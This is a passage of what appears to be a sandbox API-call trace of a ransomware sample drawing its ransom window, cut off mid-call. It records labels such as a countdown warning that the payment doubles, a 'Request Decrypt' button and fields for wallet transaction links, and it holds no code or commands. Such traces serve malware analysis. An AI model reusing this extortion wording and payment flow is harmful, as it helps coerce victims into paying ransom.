[0179.951] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301ba, Msg=0x1, wParam=0x0, lParam=0x1ad770) returned 0x0 [0179.951] GetWindow (hWnd=0x301ba, uCmd=0x3) returned 0x301b8 [0179.951] GetClientRect (in: hWnd=0x301ba, lpRect=0x1ad1b0 | out: lpRect=0x1ad1b0) returned 1 [0179.951] GetWindowRect (in: hWnd=0x301ba, lpRect=0x1ad1b0 | out: lpRect=0x1ad1b0) returned 1 [0179.951] GetParent (hWnd=0x301ba) returned 0x60126 [0179.951] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60126, lpPoints=0x1ad1b0, cPoints=0x2 | out: lpPoints=0x1ad1b0) returned -7340282 [0180.238] SetWindowTextW (hWnd=0x301ba, lpString="00") returned 1 [0180.238] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301ba, Msg=0xc, wParam=0x0, lParam=0x28c958c) returned 0x1 [0180.238] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301ba, Msg=0x5, wParam=0x0, lParam=0x250035) returned 0x0 [0180.238] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301ba, Msg=0x3, wParam=0x0, lParam=0x21b027d) returned 0x0 [0180.238] GetClientRect (in: hWnd=0x301ba, lpRect=0x1ad2d0 | out: lpRect=0x1ad2d0) returned 1 [0180.238] GetWindowRect (in: hWnd=0x301ba, lpRect=0x1ad2d0 | out: lpRect=0x1ad2d0) returned 1 [0180.238] GetParent (hWnd=0x301ba) returned 0x60126 [0180.238] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60126, lpPoints=0x1ad2d0, cPoints=0x2 | out: lpPoints=0x1ad2d0) returned -7340282 [0180.239] SendMessageW (hWnd=0x301ba, Msg=0x2210, wParam=0x1ba0001, lParam=0x301ba) returned 0x0 [0180.239] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301ba, Msg=0x2210, wParam=0x1ba0001, lParam=0x301ba) returned 0x0 [0180.239] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301ba, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0180.239] GetParent (hWnd=0x301ba) returned 0x60126 [0180.239] GetCurrentActCtx (in: lphActCtx=0x1ae0c0 | out: lphActCtx=0x1ae0c0*=0x1ac50528) returned 1 [0180.239] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc0f0000 [0180.239] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0180.240] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r12_ad1", lpWindowName="Time Left ( Payment Will be raised to 2x )", dwStyle=0x5600000d, X=441, Y=605, nWidth=344, nHeight=18, hWndParent=0x60126, hMenu=0x0, hInstance=0x11d0000, lpParam=0x0) returned 0x301e2 [0180.240] SetWindowLongPtrW (hWnd=0x301e2, nIndex=-4, dwNewLong=0x7fefc1961b4) returned 0x1b5b20ec [0180.240] GetWindowLongPtrW (hWnd=0x301e2, nIndex=-4) returned 0x7fefc1961b4 [0180.240] SetWindowLongPtrW (hWnd=0x301e2, nIndex=-4, dwNewLong=0x1b5c214c) returned 0x7fefc1961b4 [0180.240] GetWindowLongPtrW (hWnd=0x301e2, nIndex=-4) returned 0x1b5c214c [0180.240] GetWindowLongPtrW (hWnd=0x301e2, nIndex=-16) returned 0x4600000d [0180.240] GetWindowLongPtrW (hWnd=0x301e2, nIndex=-12) returned 0x0 [0180.240] SetWindowLongPtrW (hWnd=0x301e2, nIndex=-12, dwNewLong=0x301e2) returned 0x0 [0180.240] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301e2, Msg=0x81, wParam=0x0, lParam=0x1ad780) returned 0x1 [0180.240] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301e2, Msg=0x83, wParam=0x0, lParam=0x1ad830) returned 0x0 [0180.240] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301e2, Msg=0x1, wParam=0x0, lParam=0x1ad720) returned 0x0 [0180.240] GetWindow (hWnd=0x301e2, uCmd=0x3) returned 0x301ba [0180.240] GetClientRect (in: hWnd=0x301e2, lpRect=0x1ad160 | out: lpRect=0x1ad160) returned 1 [0180.240] GetWindowRect (in: hWnd=0x301e2, lpRect=0x1ad160 | out: lpRect=0x1ad160) returned 1 [0180.241] GetParent (hWnd=0x301e2) returned 0x60126 [0180.241] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60126, lpPoints=0x1ad160, cPoints=0x2 | out: lpPoints=0x1ad160) returned -7340282 [0180.242] SetWindowTextW (hWnd=0x301e2, lpString="Time Left ( Payment Will be raised to 2x )") returned 1 [0180.242] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301e2, Msg=0xc, wParam=0x0, lParam=0x28cadac) returned 0x1 [0180.243] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301e2, Msg=0x5, wParam=0x0, lParam=0x120158) returned 0x0 [0180.243] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301e2, Msg=0x3, wParam=0x0, lParam=0x25d01b9) returned 0x0 [0180.243] GetClientRect (in: hWnd=0x301e2, lpRect=0x1ad2d0 | out: lpRect=0x1ad2d0) returned 1 [0180.243] GetWindowRect (in: hWnd=0x301e2, lpRect=0x1ad2d0 | out: lpRect=0x1ad2d0) returned 1 [0180.243] GetParent (hWnd=0x301e2) returned 0x60126 [0180.243] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60126, lpPoints=0x1ad2d0, cPoints=0x2 | out: lpPoints=0x1ad2d0) returned -7340282 [0180.243] SendMessageW (hWnd=0x301e2, Msg=0x2210, wParam=0x1e20001, lParam=0x301e2) returned 0x0 [0180.243] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301e2, Msg=0x2210, wParam=0x1e20001, lParam=0x301e2) returned 0x0 [0180.243] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301e2, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0180.243] GetParent (hWnd=0x301e2) returned 0x60126 [0180.243] GetCurrentActCtx (in: lphActCtx=0x1ae0c0 | out: lphActCtx=0x1ae0c0*=0x1ac50528) returned 1 [0180.243] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc0f0000 [0180.244] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0180.244] CreateWindowExW (dwExStyle=0x10000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r12_ad1", lpWindowName=" Step 2: Complete form for get Decryption tools ", dwStyle=0x56000000, X=9, Y=380, nWidth=415, nHeight=246, hWndParent=0x60126, hMenu=0x0, hInstance=0x11d0000, lpParam=0x0) returned 0x201ea [0180.244] SetWindowLongPtrW (hWnd=0x201ea, nIndex=-4, dwNewLong=0x7769b0ac) returned 0x1b5b13ec [0180.244] GetWindowLongPtrW (hWnd=0x201ea, nIndex=-4) returned 0x7769b0ac [0180.244] SetWindowLongPtrW (hWnd=0x201ea, nIndex=-4, dwNewLong=0x1b5c219c) returned 0x7769b0ac [0180.244] GetWindowLongPtrW (hWnd=0x201ea, nIndex=-4) returned 0x1b5c219c [0180.244] GetWindowLongPtrW (hWnd=0x201ea, nIndex=-16) returned 0x46000000 [0180.244] GetWindowLongPtrW (hWnd=0x201ea, nIndex=-12) returned 0x0 [0180.244] SetWindowLongPtrW (hWnd=0x201ea, nIndex=-12, dwNewLong=0x201ea) returned 0x0 [0180.244] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x201ea, Msg=0x81, wParam=0x0, lParam=0x1ad780) returned 0x1 [0180.244] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x201ea, Msg=0x83, wParam=0x0, lParam=0x1ad830) returned 0x0 [0180.244] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x201ea, Msg=0x1, wParam=0x0, lParam=0x1ad700) returned 0x0 [0180.244] GetWindow (hWnd=0x201ea, uCmd=0x3) returned 0x301e2 [0180.244] GetClientRect (in: hWnd=0x201ea, lpRect=0x1ad190 | out: lpRect=0x1ad190) returned 1 [0180.244] GetWindowRect (in: hWnd=0x201ea, lpRect=0x1ad190 | out: lpRect=0x1ad190) returned 1 [0180.244] GetParent (hWnd=0x201ea) returned 0x60126 [0180.244] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60126, lpPoints=0x1ad190, cPoints=0x2 | out: lpPoints=0x1ad190) returned -7340282 [0180.245] SetWindowTextW (hWnd=0x201ea, lpString=" Step 2: Complete form for get Decryption tools ") returned 1 [0180.245] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x201ea, Msg=0xc, wParam=0x0, lParam=0x28f59e4) returned 0x1 [0180.245] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x201ea, Msg=0x5, wParam=0x0, lParam=0xf6019f) returned 0x0 [0180.245] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x201ea, Msg=0x3, wParam=0x0, lParam=0x17c0009) returned 0x0 [0180.245] GetClientRect (in: hWnd=0x201ea, lpRect=0x1ad320 | out: lpRect=0x1ad320) returned 1 [0180.245] GetWindowRect (in: hWnd=0x201ea, lpRect=0x1ad320 | out: lpRect=0x1ad320) returned 1 [0180.245] GetParent (hWnd=0x201ea) returned 0x60126 [0180.245] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60126, lpPoints=0x1ad320, cPoints=0x2 | out: lpPoints=0x1ad320) returned -7340282 [0180.245] SendMessageW (hWnd=0x201ea, Msg=0x2210, wParam=0x1ea0001, lParam=0x201ea) returned 0x0 [0180.245] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x201ea, Msg=0x2210, wParam=0x1ea0001, lParam=0x201ea) returned 0x0 [0180.245] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x201ea, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0180.245] GetParent (hWnd=0x201ea) returned 0x60126 [0180.245] GetCurrentActCtx (in: lphActCtx=0x1ae050 | out: lphActCtx=0x1ae050*=0x1ac50528) returned 1 [0180.246] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc0f0000 [0180.246] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0180.246] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r12_ad1", lpWindowName=0x0, dwStyle=0x5600000d, X=12, Y=221, nWidth=0, nHeight=16, hWndParent=0x201ea, hMenu=0x0, hInstance=0x11d0000, lpParam=0x0) returned 0x201ec [0180.246] SetWindowLongPtrW (hWnd=0x201ec, nIndex=-4, dwNewLong=0x7fefc1961b4) returned 0x1b5b20ec [0180.246] GetWindowLongPtrW (hWnd=0x201ec, nIndex=-4) returned 0x7fefc1961b4 [0180.246] SetWindowLongPtrW (hWnd=0x201ec, nIndex=-4, dwNewLong=0x1b5c21ec) returned 0x7fefc1961b4 [0180.246] GetWindowLongPtrW (hWnd=0x201ec, nIndex=-4) returned 0x1b5c21ec [0180.246] GetWindowLongPtrW (hWnd=0x201ec, nIndex=-16) returned 0x4600000d [0180.246] GetWindowLongPtrW (hWnd=0x201ec, nIndex=-12) returned 0x0 [0180.246] SetWindowLongPtrW (hWnd=0x201ec, nIndex=-12, dwNewLong=0x201ec) returned 0x0 [0180.246] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201ec, Msg=0x81, wParam=0x0, lParam=0x1ad710) returned 0x1 [0180.246] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201ec, Msg=0x83, wParam=0x0, lParam=0x1ad7c0) returned 0x0 [0180.246] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201ec, Msg=0x1, wParam=0x0, lParam=0x1ad710) returned 0x0 [0180.246] GetWindow (hWnd=0x201ec, uCmd=0x3) returned 0x0 [0180.247] GetClientRect (in: hWnd=0x201ec, lpRect=0x1ad150 | out: lpRect=0x1ad150) returned 1 [0180.247] GetWindowRect (in: hWnd=0x201ec, lpRect=0x1ad150 | out: lpRect=0x1ad150) returned 1 [0180.247] GetParent (hWnd=0x201ec) returned 0x201ea [0180.247] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x201ea, lpPoints=0x1ad150, cPoints=0x2 | out: lpPoints=0x1ad150) returned -32243971 [0180.247] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201ec, Msg=0x5, wParam=0x0, lParam=0x100000) returned 0x0 [0180.247] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201ec, Msg=0x3, wParam=0x0, lParam=0xdd000c) returned 0x0 [0180.247] GetClientRect (in: hWnd=0x201ec, lpRect=0x1ad260 | out: lpRect=0x1ad260) returned 1 [0180.247] GetWindowRect (in: hWnd=0x201ec, lpRect=0x1ad260 | out: lpRect=0x1ad260) returned 1 [0180.247] GetParent (hWnd=0x201ec) returned 0x201ea [0180.247] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x201ea, lpPoints=0x1ad260, cPoints=0x2 | out: lpPoints=0x1ad260) returned -32243971 [0180.249] SendMessageW (hWnd=0x201ec, Msg=0x2210, wParam=0x1ec0001, lParam=0x201ec) returned 0x0 [0180.249] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201ec, Msg=0x2210, wParam=0x1ec0001, lParam=0x201ec) returned 0x0 [0180.249] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201ec, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0180.249] GetParent (hWnd=0x201ec) returned 0x201ea [0180.249] GetCurrentActCtx (in: lphActCtx=0x1ae050 | out: lphActCtx=0x1ae050*=0x1ac50528) returned 1 [0180.249] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc0f0000 [0180.249] GetClassInfoW (in: hInstance=0x0, lpClassName="BUTTON", lpWndClass=0x29ad5e0 | out: lpWndClass=0x29ad5e0) returned 1 [0180.250] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0180.252] CoTaskMemAlloc (cb=0x58) returned 0x1acf34b0 [0180.252] RegisterClassW (lpWndClass=0x1add30) returned 0xc136 [0180.252] CoTaskMemFree (pv=0x1acf34b0) [0180.252] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0180.444] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.BUTTON.app.0.141b42a_r12_ad1", lpWindowName="Request Decrypt", dwStyle=0x5601000b, X=254, Y=179, nWidth=146, nHeight=33, hWndParent=0x201ea, hMenu=0x0, hInstance=0x11d0000, lpParam=0x0) returned 0x201de [0180.445] SetWindowLongPtrW (hWnd=0x201de, nIndex=-4, dwNewLong=0x7fefc193b20) returned 0x1b5c223c [0180.445] GetWindowLongPtrW (hWnd=0x201de, nIndex=-4) returned 0x7fefc193b20 [0180.445] SetWindowLongPtrW (hWnd=0x201de, nIndex=-4, dwNewLong=0x1b5c228c) returned 0x7fefc193b20 [0180.445] GetWindowLongPtrW (hWnd=0x201de, nIndex=-4) returned 0x1b5c228c [0180.445] GetWindowLongPtrW (hWnd=0x201de, nIndex=-16) returned 0x4601000b [0180.445] GetWindowLongPtrW (hWnd=0x201de, nIndex=-12) returned 0x0 [0180.445] SetWindowLongPtrW (hWnd=0x201de, nIndex=-12, dwNewLong=0x201de) returned 0x0 [0180.445] CallWindowProcW (lpPrevWndFunc=0x7fefc193b20, hWnd=0x201de, Msg=0x81, wParam=0x0, lParam=0x1ad710) returned 0x1 [0180.446] CallWindowProcW (lpPrevWndFunc=0x7fefc193b20, hWnd=0x201de, Msg=0x83, wParam=0x0, lParam=0x1ad7c0) returned 0x0 [0180.446] CallWindowProcW (lpPrevWndFunc=0x7fefc193b20, hWnd=0x201de, Msg=0x1, wParam=0x0, lParam=0x1ad6e0) returned 0x0 [0180.446] SendMessageW (hWnd=0x201de, Msg=0x2055, wParam=0x201de, lParam=0x3) returned 0x2 [0180.446] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x201ea, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x0 [0180.446] CallWindowProcW (lpPrevWndFunc=0x7fefc193b20, hWnd=0x201de, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0 [0180.446] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x201ea, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0180.446] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0180.446] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0180.446] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301c4, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0180.446] RedrawWindow (hWnd=0x301c4, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0180.446] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301be, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0180.446] RedrawWindow (hWnd=0x301be, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0180.447] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301bc, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0180.447] RedrawWindow (hWnd=0x301bc, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0180.447] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301c2, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0180.447] RedrawWindow (hWnd=0x301c2, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0180.447] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301c0, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0180.447] RedrawWindow (hWnd=0x301c0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0180.447] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201f0, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0180.447] RedrawWindow (hWnd=0x201f0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0180.447] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201ee, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0180.447] RedrawWindow (hWnd=0x201ee, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0180.447] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301b8, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0180.447] RedrawWindow (hWnd=0x301b8, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0180.447] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301ba, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0180.447] RedrawWindow (hWnd=0x301ba, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0180.447] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301e2, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0180.447] RedrawWindow (hWnd=0x301e2, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0180.447] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x201ea, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0180.447] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201ec, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0180.447] RedrawWindow (hWnd=0x201ec, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0180.447] CallWindowProcW (lpPrevWndFunc=0x7fefc193b20, hWnd=0x201de, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0180.447] RedrawWindow (hWnd=0x201de, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0180.447] RedrawWindow (hWnd=0x201ea, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0180.447] RedrawWindow (hWnd=0x60126, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0180.447] GetWindow (hWnd=0x201de, uCmd=0x3) returned 0x201ec [0180.447] GetClientRect (in: hWnd=0x201de, lpRect=0x1ad0f0 | out: lpRect=0x1ad0f0) returned 1 [0180.447] GetWindowRect (in: hWnd=0x201de, lpRect=0x1ad0f0 | out: lpRect=0x1ad0f0) returned 1 [0180.447] GetParent (hWnd=0x201de) returned 0x201ea [0180.447] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x201ea, lpPoints=0x1ad0f0, cPoints=0x2 | out: lpPoints=0x1ad0f0) returned -32243971 [0180.448] SetWindowTextW (hWnd=0x201de, lpString="Request Decrypt") returned 1 [0180.448] CallWindowProcW (lpPrevWndFunc=0x7fefc193b20, hWnd=0x201de, Msg=0xc, wParam=0x0, lParam=0x28f34a4) returned 0x1 [0180.448] CallWindowProcW (lpPrevWndFunc=0x7fefc193b20, hWnd=0x201de, Msg=0x5, wParam=0x0, lParam=0x210092) returned 0x0 [0180.448] CallWindowProcW (lpPrevWndFunc=0x7fefc193b20, hWnd=0x201de, Msg=0x3, wParam=0x0, lParam=0xb300fe) returned 0x0 [0180.448] GetClientRect (in: hWnd=0x201de, lpRect=0x1ad230 | out: lpRect=0x1ad230) returned 1 [0180.448] GetWindowRect (in: hWnd=0x201de, lpRect=0x1ad230 | out: lpRect=0x1ad230) returned 1 [0180.448] GetParent (hWnd=0x201de) returned 0x201ea [0180.448] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x201ea, lpPoints=0x1ad230, cPoints=0x2 | out: lpPoints=0x1ad230) returned -32243971 [0180.448] SendMessageW (hWnd=0x201de, Msg=0x2210, wParam=0x1de0001, lParam=0x201de) returned 0x0 [0180.448] CallWindowProcW (lpPrevWndFunc=0x7fefc193b20, hWnd=0x201de, Msg=0x2210, wParam=0x1de0001, lParam=0x201de) returned 0x0 [0180.448] CallWindowProcW (lpPrevWndFunc=0x7fefc193b20, hWnd=0x201de, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0180.448] GetParent (hWnd=0x201de) returned 0x201ea [0180.448] GetCurrentActCtx (in: lphActCtx=0x1ae050 | out: lphActCtx=0x1ae050*=0x1ac50528) returned 1 [0180.448] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc0f0000 [0180.449] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0180.449] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r12_ad1", lpWindowName="Transaction Link Wallet 2:", dwStyle=0x5600000d, X=12, Y=127, nWidth=189, nHeight=15, hWndParent=0x201ea, hMenu=0x0, hInstance=0x11d0000, lpParam=0x0) returned 0x201e0 [0180.449] SetWindowLongPtrW (hWnd=0x201e0, nIndex=-4, dwNewLong=0x7fefc1961b4) returned 0x1b5b20ec [0180.449] GetWindowLongPtrW (hWnd=0x201e0, nIndex=-4) returned 0x7fefc1961b4 [0180.449] SetWindowLongPtrW (hWnd=0x201e0, nIndex=-4, dwNewLong=0x1b5c22dc) returned 0x7fefc1961b4 [0180.449] GetWindowLongPtrW (hWnd=0x201e0, nIndex=-4) returned 0x1b5c22dc [0180.449] GetWindowLongPtrW (hWnd=0x201e0, nIndex=-16) returned 0x4600000d [0180.449] GetWindowLongPtrW (hWnd=0x201e0, nIndex=-12) returned 0x0 [0180.449] SetWindowLongPtrW (hWnd=0x201e0, nIndex=-12, dwNewLong=0x201e0) returned 0x0 [0180.449] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201e0, Msg=0x81, wParam=0x0, lParam=0x1ad710) returned 0x1 [0180.449] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201e0, Msg=0x83, wParam=0x0, lParam=0x1ad7c0) returned 0x0 [0180.450] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201e0, Msg=0x1, wParam=0x0, lParam=0x1ad6d0) returned 0x0 [0180.450] GetWindow (hWnd=0x201e0, uCmd=0x3) returned 0x201de [0180.450] GetClientRect (in: hWnd=0x201e0, lpRect=0x1ad110 | out: lpRect=0x1ad110) returned 1 [0180.450] GetWindowRect (in: hWnd=0x201e0, lpRect=0x1ad110 | out: lpRect=0x1ad110) returned 1 [0180.450] GetParent (hWnd=0x201e0) returned 0x201ea [0180.450] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x201ea, lpPoints=0x1ad110, cPoints=0x2 | out: lpPoints=0x1ad110) returned -32243971 [0180.450] SetWindowTextW (hWnd=0x201e0, lpString="Transaction Link Wallet 2:") returned 1 [0180.450] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201e0, Msg=0xc, wParam=0x0, lParam=0x28f3914) returned 0x1 [0180.450] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201e0, Msg=0x5, wParam=0x0, lParam=0xf00bd) returned 0x0 [0180.450] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201e0, Msg=0x3, wParam=0x0, lParam=0x7f000c) returned 0x0 [0180.450] GetClientRect (in: hWnd=0x201e0, lpRect=0x1ad260 | out: lpRect=0x1ad260) returned 1 [0180.450] GetWindowRect (in: hWnd=0x201e0, lpRect=0x1ad260 | out: lpRect=0x1ad260) returned 1 [0180.450] GetParent (hWnd=0x201e0) returned 0x201ea [0180.450] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x201ea, lpPoints=0x1ad260, cPoints=0x2 | out: lpPoints=0x1ad260) returned -32243971 [0180.450] SendMessageW (hWnd=0x201e0, Msg=0x2210, wParam=0x1e00001, lParam=0x201e0) returned 0x0 [0180.450] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201e0, Msg=0x2210, wParam=0x1e00001, lParam=0x201e0) returned 0x0 [0180.451] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201e0, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0180.451] GetParent (hWnd=0x201e0) returned 0x201ea [0180.451] GetCurrentActCtx (in: lphActCtx=0x1ae050 | out: lphActCtx=0x1ae050*=0x1ac50528) returned 1 [0180.451] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc0f0000 [0180.451] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0180.451] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r12_ad1", lpWindowName="Transaction Link Wallet 1:", dwStyle=0x5600000d, X=12, Y=73, nWidth=189, nHeight=15, hWndParent=0x201ea, hMenu=0x0, hInstance=0x11d0000, lpParam=0x0) returned 0x201da [0180.451] SetWindowLongPtrW (hWnd=0x201da, nIndex=-4, dwNewLong=0x7fefc1961b4) returned 0x1b5b20ec [0180.451] GetWindowLongPtrW (hWnd=0x201da, nIndex=-4) returned 0x7fefc1961b4 [0180.451] SetWindowLongPtrW (hWnd=0x201da, nIndex=-4, dwNewLong=0x1b5c232c) returned 0x7fefc1961b4 [0180.451] GetWindowLongPtrW (hWnd=0x201da, nIndex=-4) returned 0x1b5c232c [0180.452] GetWindowLongPtrW (hWnd=0x201da, nIndex=-16) returned 0x4600000d [0180.452] GetWindowLongPtrW (hWnd=0x201da, nIndex=-12) returned 0x0 [0180.452] SetWindowLongPtrW (hWnd=0x201da, nIndex=-12, dwNewLong=0x201da) returned 0x0 [0180.452] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201da, Msg=0x81, wParam=0x0, lParam=0x1ad710) returned 0x1 [0180.452] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201da, Msg=0x83, wParam=0x0, lParam=0x1ad7c0) returned 0x0 [0180.452] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201da, Msg=0x1, wParam=0x0, lParam=0x1ad6d0) returned 0x0 [0180.452] GetWindow (hWnd=0x201da, uCmd=0x3) returned 0x201e0 [0180.452] GetClientRect (in: hWnd=0x201da, lpRect=0x1ad110 | out: lpRect=0x1ad110) returned 1 [0180.452] GetWindowRect (in: hWnd=0x201da, lpRect=0x1ad110 | out: lpRect=0x1ad110) returned 1 [0180.452] GetParent (hWnd=0x201da) returned 0x201ea [0180.452] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x201ea, lpPoints=0x1ad110, cPoints=0x2 | out: lpPoints=0x1ad110) returned -32243971 [0180.452] SetWindowTextW (hWnd=0x201da, lpString="Transaction Link Wallet 1:") returned 1 [0180.452] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201da, Msg=0xc, wParam=0x0, lParam=0x28f3d3c) returned 0x1 [0180.452] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201da, Msg=0x5, wParam=0x0, lParam=0xf00bd) returned 0x0 [0180.452] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201da, Msg=0x3, wParam=0x0, 